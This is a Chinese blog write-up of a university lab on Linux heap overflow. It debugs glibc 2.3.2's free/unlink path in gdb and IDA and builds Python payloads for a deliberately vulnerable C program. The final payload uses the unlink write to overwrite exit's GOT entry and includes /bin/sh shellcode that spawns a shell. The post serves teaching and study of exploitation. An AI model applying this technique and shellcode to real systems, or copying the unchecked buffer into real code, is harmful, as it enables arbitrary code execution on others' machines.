linux下堆溢出实验和一些tips

首先我的实验环境和教程均来自http://staff.ustc.edu.cn/~sycheng/ssat/,我这里讲的是《缓冲区溢出–堆溢出》这个课程的实验
实验开始,首先你要准备好环境,我的操作系统是BOF_debian2.4.18,你可以在https://pan.baidu.com/share/link?uk=447211&shareid=2477082370#list/path=%2F&parentPath=%2F000dak
实验代码是:

#include<stdio.h>
#include<stdlib.h>
#include <malloc.h>
int main (int argc, char *argv[])
{
        char *buf, *buf1,*buf2;
        FILE *infile;
        int rc;
        infile = fopen("payload.txt", "rb");
        if(infile == NULL ) {
        printf("%s, %s",argv[1],"not exit/n");
        exit(1);
         }

        buf = malloc (32);
        buf1 = malloc (8);
        //buf2=malloc(16);
        while( (rc = fread(buf,sizeof(unsigned char),1024,infile)) != 0 );
        free (buf);
        free (buf1);
        exit(0);
        //free(buf);
        return 0;
}

学习堆溢出的时候先要学一点堆的知识,参考一些有用的链接:
https://jaq.alibaba.com/community/art/show?articleid=315
https://jaq.alibaba.com/community/art/show?articleid=334
http://www.cnblogs.com/alisecurity/p/5563819.html
http://www.freebuf.com/articles/system/91527.html
http://www.vuln.cn/6172

把上面的代码保存成heap_overflow.c用gcc -g heap_overflow.c -o heap_overflow
我用gdb调试这个代码,调试之前要先修改.gdbinit,从而更方便的调试,我把我用的.gdbinit放在https://github.com/niexinming/safe_tool/blob/master/gdbinit
在代码的15行下断点,在gdb中输入ni在汇编代码中单步运行到call malloc之后观察内存中分配的堆块的内容:
image
注意函数返回后,返回值一般都会保存在eax中,程序在call完malloc之后,eax保存就是堆块数据区地址,对照

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* 前一个chunk的大小 (如果前一个已经被free)*/
  INTERNAL_SIZE_T      size;       /* 字节表示的chunk大小,包括chunk头       */
  struct malloc_chunk* fd;         /* 双向链表 -- 只有在被free后才存在       */
  struct malloc_chunk* bk;
};

可以知道0x40143d40是前一个堆的大小(如果前一个堆被释放的话),0x00000029是当前块的大小(包括块头),后面的是分配给堆的数据,而malloc执行完之后,指针指向的也是堆数据区开头
在gdb中按一次n,看下一个堆分配的状况
image
因为前面的堆是占用的状态,所以,0x080499a8的值是0x00000000,而因为是第二次分配堆地址,可以看到顶块的占用减少了16个字节,由第一次分配的0x00021659变成第二次分配后的0x00021649

如果足够细心,上面堆快大小比实际大一个字节,因为
image
堆内存中要求每个chunk的大小必须为8的整数倍,因此chunk size的后3位是无效的,为了充分利用内存,堆管理器将这3个比特位用作chunk的标志位,典型的就是将第0比特位用于标记该chunk是否已经被分配,所以当通过gdb以二进制查看查看chunk size的时候,可以看到那个标志位的值
image

因为堆溢出最主要的是要进入unlink这个宏函数,所以为了方便调试,要先确定glibc的版本
image
可以确定我的glibc的版本是2.3.2,到官网把源码下载下来下载地址:http://ftp.gnu.org/gnu/glibc/glibc-2.3.2.tar.bz2

在调试的时候走到call free 的时候在gdb中输入si进入到free函数中,但是我在调试的时候,发现glibc的源码与反汇编的代码有点对不上,于是,我用gcc把程序生成一个带静态库的可执行文件(使用命令:gcc -g heap_overflow.c -o heap_overflow -static),然后下载下来,用ida打开,先查看free函数(因为我在glibc源码没有找到对应的函数,所以我用ida打开)
image

  if ( _free_hook )
  {
    _free_hook(a1, retaddr);
  }

上面的代码判断是否有内存钩子,如果有执行钩子函数,如果没有就往下

 else if ( a1 )

上面的代码判断释放的地址是否存在

    v1 = *(_DWORD *)(a1 - 8 + 4);
    if ( v1 & 2 )
    {
      munmap_chunk();
    }

上面的代码中的a1是堆的数据区地址,a1-8+4其实a1+4的地址,其实v1就是堆的size的地址,因为size的后三位是作为标志位的,所以if ( v1 & 2 )其实是在判断当前chunk是否是通过mmap系统调用产生的(其实这个判断代码是

#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)

的宏展开)

    else
    {
      v2 = (int)&main_arena;
      if ( v1 & 4 )
        v2 = *(_DWORD *)((a1 - 8) & 0xFFF00000);
      *(_DWORD *)v2 = 1;
      int_free(v2, a1);
      *(_DWORD *)v2 = 0;
    }

上面的代码先判断当前chunk是否是thread arena,而if ( v1 & 4 )这个代码则是

#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)

的宏展开
如果chunk size的后三位要是000才能进入到int_free函数,所以chunk size必须要是8的倍数

下面进入到ini_free函数
image
在ini_free函数中首先判断释放的指针是否存在

    v2 = a2 - 8;    ///v2保存的是prev_size的指针
    v3 = *(_DWORD *)(a2 - 8 + 4); //v3保存的是size的值
    v4 = *(_DWORD *)(a2 - 8 + 4) & 0xFFFFFFF8;//v4保存的是size与0xFFFFFFF8做&运算之后的值,其实是去掉chunk size 标志位之后的值,也就是实际堆的大小值
    if ( a2 - 8 > -v4 )
    {
      v16 = check_action;
      if ( check_action & 1 )
      {
        v17 = stderr;
        v18 = *((_DWORD *)stderr + 15);
        *((_DWORD *)stderr + 15) |= 2u;
        fprintf(v17, "free(): invalid pointer %p!\n", a2);
        *((_DWORD *)stderr + 15) |= v18;
        v16 = check_action;
      }
      if ( v16 & 2 )
        abort();
    }

上面的代码中if ( a2 - 8 > -v4 ) 这个判断堆指针是否溢出,如果chunk size太大,则可能会导致堆指针溢出。
再往下看:

    else
    {
      v5 = *(_DWORD *)(a1 + 40);
      if ( v4 > v5 )
      {
        if ( v3 & 2 )
        {
          v15 = *(_DWORD *)(a2 - 8);
          --dword_80AE5EC;
          dword_80AE5FC -= v15 + v4;
          munmap((void *)(v2 - v15), v15 + v4);
        }
        else
        {
          v21 = v4 + v2;
          v19 = *(_DWORD *)(v4 + v2 + 4);
          v20 = v19 & 0xFFFFFFF8;
          if ( !(v3 & 1) )
          {
            v7 = *(_DWORD *)(a2 - 8);
            v2 -= v7;
            v4 += v7;
            v8 = *(_DWORD *)(v2 + 8);
            v9 = *(_DWORD *)(v2 + 12);
            *(_DWORD *)(v8 + 12) = v9;
            *(_DWORD *)(v9 + 8) = v8;
          }
          if ( v21 == *(_DWORD *)(a1 + 84) )
          {
            *(_DWORD *)(a1 + 84) = v2;
            v4 += v20;
            v13 = v4 | 1;
          }
          else
          {
            if ( *(_BYTE *)(v20 + v21 + 4) & 1 )
            {
              *(_DWORD *)(v21 + 4) = v19 & 0xFFFFFFFE;
            }
            else
            {
              v10 = *(_DWORD *)(v21 + 12);
              v11 = *(_DWORD *)(v21 + 8);
              *(_DWORD *)(v11 + 12) = v10;
              *(_DWORD *)(v10 + 8) = v11;
              v4 += v20;
            }
            *(_DWORD *)(v4 + v2) = v4;
            v12 = *(_DWORD *)(a1 + 100);
            *(_DWORD *)(v2 + 12) = a1 + 92;
            *(_DWORD *)(v2 + 8) = v12;
            *(_DWORD *)(a1 + 100) = v2;
            v13 = v4 | 1;
            *(_DWORD *)(v12 + 12) = v2;
          }
          *(_DWORD *)(v2 + 4) = v13;
          if ( v4 > 0xFFFF )
          {
            if ( !(*(_BYTE *)(a1 + 40) & 1) )
              malloc_consolidate(a1);
            if ( (int *)a1 == &main_arena )
            {
              if ( (*(_DWORD *)(dword_80AE1B4 + 4) & 0xFFFFFFF8) >= mp_ )
                sYSTRIm(dword_80AE5E4, &main_arena);
            }
            else
            {
              v14 = *(_DWORD *)(a1 + 84);
              heap_trim(v2, dword_80AE5E4);
            }
          }
        }
      }

这段代码终于找到对应的源码了(在malloc.c:4138):


    if ((unsigned long)(size) <= (unsigned long)(av->max_fast)

#if TRIM_FASTBINS
        /*
           If TRIM_FASTBINS set, don't place chunks
           bordering top into fastbins
        */
        && (chunk_at_offset(p, size) != av->top)
#endif
        ) {

      set_fastchunks(av);
      fb = &(av->fastbins[fastbin_index(size)]);
      p->fd = *fb;
      *fb = p;
    }

    /*
       Consolidate other non-mmapped chunks as they arrive.
    */

    else if (!chunk_is_mmapped(p)) {
      nextchunk = chunk_at_offset(p, size);
      nextsize = chunksize(nextchunk);
      assert(nextsize > 0);

      /* consolidate backward */
      if (!prev_inuse(p)) {
        prevsize = p->prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(p, bck, fwd);
      }

      if (nextchunk != av->top) {
        /* get and clear inuse bit */
        nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

        /* consolidate forward */
        if (!nextinuse) {
          unlink(nextchunk, bck, fwd);
          size += nextsize;
        }
        
        

上面的代码首先检查当前块的大小是否是属于fastbins(我在内存中查看max_fast的大小只有72,也就是说,当前堆快大于72的时候就可以进入到合并堆快的操作中了),后面的操作就行先判断prev_size的标志位是否释放,如果前块堆如果释放,那么就和当前堆合并,也就是进入到unlink这个宏函数中,然后判断后面的堆快是不是空闲,如果空闲的话,再合并
下面我进到构造一个payload,然后到_int_free中去调试一下
payload:

import os
os.system("rm -f payload.txt")
data="a"*32+"\x58"+"\x00"*3+"\x58"+"\x00"*3
f=open("payload.txt","wb")
f.write(data)
f.close();

在程序的第15行下断点,记录下buf的地址
image
buf的地址是0x08049988,此时这段数据区间为空
然后在20行下断点:
再次查看buf中的数据:
image
这里注意这里覆盖的size值必须大于0x48,而且size的后三bit要为0,比如0x58转换成二进制时就是‭01011000,其中后bit是000,代表着三个标志位,最后一个bit为0则是代表区块已被释放
在gdb中输入si后进入到free函数后一直输入ni一路走到int_free中
,进入init_free函数之前要查看一下参数
image

然后往下运行:
image
上图是第一个判断点,判断要释放的指针是否为空

image
上图是第二个判断点,判断堆指针是否溢出
image
上图是第三个判断点,判断当前块的大小是否是属于fastbins
image
上图是第四个判断点,判断chunk是否是通过mmap系统调用产生的,这个的判断相当于

#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)

宏展开
image
上图是第五个判断点,判断上一个chunk是否是空闲,这个判断相当于

#define prev_inuse(p)       ((p)->size & PREV_INUSE)

的宏展开

经过很多对于堆快的检查之后,后面进入到合并堆的操作了,也就是进入到unlink(p, bck, fwd);这个宏函数中

这一步有很多文章在讲,我就不详细讲原理了,直接开始调试
在调试之前,我把payload改成

import os
os.system("rm -f payload.txt")
data="a"*32+"\x20"+"\x00"*3+"\x58"+"\x00"*3
f=open("payload.txt","wb")
f.write(data)
f.close();

然后进入gdb,在20行断下
查看一下buf地址中数据
image

按c继续执行
image
发现程序崩溃,崩溃的地方是,mov DWORD PTR [edx+12],eax 程序正尝试把eax的值写入地址edx+12地方,由于edx为61616161,是一个非法的地址,所以程序报错,我把断点下在0x4008d365(也就是崩溃的地址再往上一点的地址),查看edx和eax是哪里来的
image
通过查看内存中的值,我可以看出,ecx保存的是指向buf1堆头的地址,edi保存是指向buf1堆体的地址,esi保存的是本堆块的size值

0x4008d365 <mallopt+1653>:	mov    eax,DWORD PTR [edi-8]  //取出上一块堆块的大小放入eax
0x4008d368 <mallopt+1656>:	sub    ecx,eax //本堆块地址上移0x20个字节
0x4008d36a <mallopt+1658>:	add    esi,eax //计算合并之后的大小
0x4008d36c <mallopt+1660>:	mov    edx,DWORD PTR [ecx+8]
0x4008d36f <mallopt+1663>:	mov    eax,DWORD PTR [ecx+12]
0x4008d372 <mallopt+1666>:	mov    DWORD PTR [edx+12],eax
0x4008d375 <mallopt+1669>:	mov    DWORD PTR [eax+8],edx
0x4008d378 <mallopt+1672>:	mov    edx,DWORD PTR [ebp-16]
0x4008d37b <mallopt+1675>:	mov    edi,DWORD PTR [ebp-20]
0x4008d37e <mallopt+1678>:	cmp    edi,DWORD PTR [edx+84]

上面的汇编代码对应源代码是:

        prevsize = p->prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(p, bck, fwd);

查看ecx-eax
image
从上图中可以看到地址ecx-0x20+0x8和ecx-0x20+0xc这两个位置都可以被控制的,也就是说,我们获得了一次向任意地址写任意值的机会
这里有两个问题,第一:向哪里写,第二,写什么
向哪里写?
常规的方法是覆盖got表
关于got表的资料:http://blog.csdn.net/qq_18661257/article/details/54694748
通过objdump -R Dheap_overflow来查看
image
因为代码执行完之后执行exit,所以写入的位置是got中exit的地址,也就是0x080497b0

写入什么呢?
首先我先把找到的shellcode放入内存中,然后把shellcode的起始地址写入就好

我把payload改一下:

import os
shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
print len(shellcode)
os.system("rm -f payload.txt")
data="a"*8+"\xa4\x97\x04\x08"+"\xb0\x99\x04\x08"+"b"*16+"\x20"+"\x00"*3+"\x58"+"\x00"*3+"\x90"*35+shellcode+"\x00"*4+"\x01\x00\x00\x00"
f=open("payload.txt","wb")
f.write(data)
f.close();

在第20行的地方下一个断点,然后观察内存
image

内存布局好之后,我运行过free之后,查看0x080497b0地址的值
image
发现地址0x080497b0已经被成功的写入了shellcode起始地址0x080499b0,成功的劫持了exit函数,再往下执行就会跳到shellcode的地址去执行任意代码了
image
直接执行这个程序的话就会弹出/bin/sh,也就是shellcode执行的结果
image

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值